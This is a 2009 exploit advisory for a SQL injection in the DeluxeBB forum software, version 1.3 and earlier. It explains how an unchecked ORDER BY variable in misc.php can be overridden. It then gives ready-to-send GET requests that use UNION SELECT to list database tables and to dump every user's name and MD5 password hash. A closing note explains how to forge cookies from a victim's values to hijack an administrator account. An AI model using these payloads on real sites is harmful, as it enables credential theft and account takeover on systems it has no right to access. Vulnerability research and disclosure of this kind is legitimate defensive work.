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DeluxeBB 1.3 SQL Injection

DeluxeBB 1.3 SQL Injection
Posted Mar 19, 2009
Authored by __GiReX__ | Site girex.altervista.org

DeluxeBB versions 1.3 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 96e57ff72be60bb1e64dd108278a3bf8e5a2a12647c66e73a655bd9b0f93ef8c

DeluxeBB 1.3 SQL Injection

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# Author:  girex
# Homepage: girex.altervista.org
# Date: 18/03/2009

# CMS: DeluxeBB 1.3 and prior
# site: deluxebb.com

# NOTE: - Works regardless of php.ini settings

- This SQL injection will shows you username and md5
of ALL registered users of the site.

- This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

----------------------------------------------------------------------------------------

# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes
# turned Off too.

# file: misc.php lines: 461-464

if($order == "name") { $qorder = "ORDER BY username"; }
if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
if($order == "posts") { $qorder = "ORDER BY posts"; }
if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

# This sequence of if does not provide an else..

# file: misc.php line: 490

$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder." <==
".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);

# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.

----------------------------------------------------------------------------------------

# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# NOTE: to get admin's access edit your cookies:

# memberid => victim's id
# membercookie => victim's username
# memberpw => victim's md5

----------------------------------------------------------------------------------------

girex


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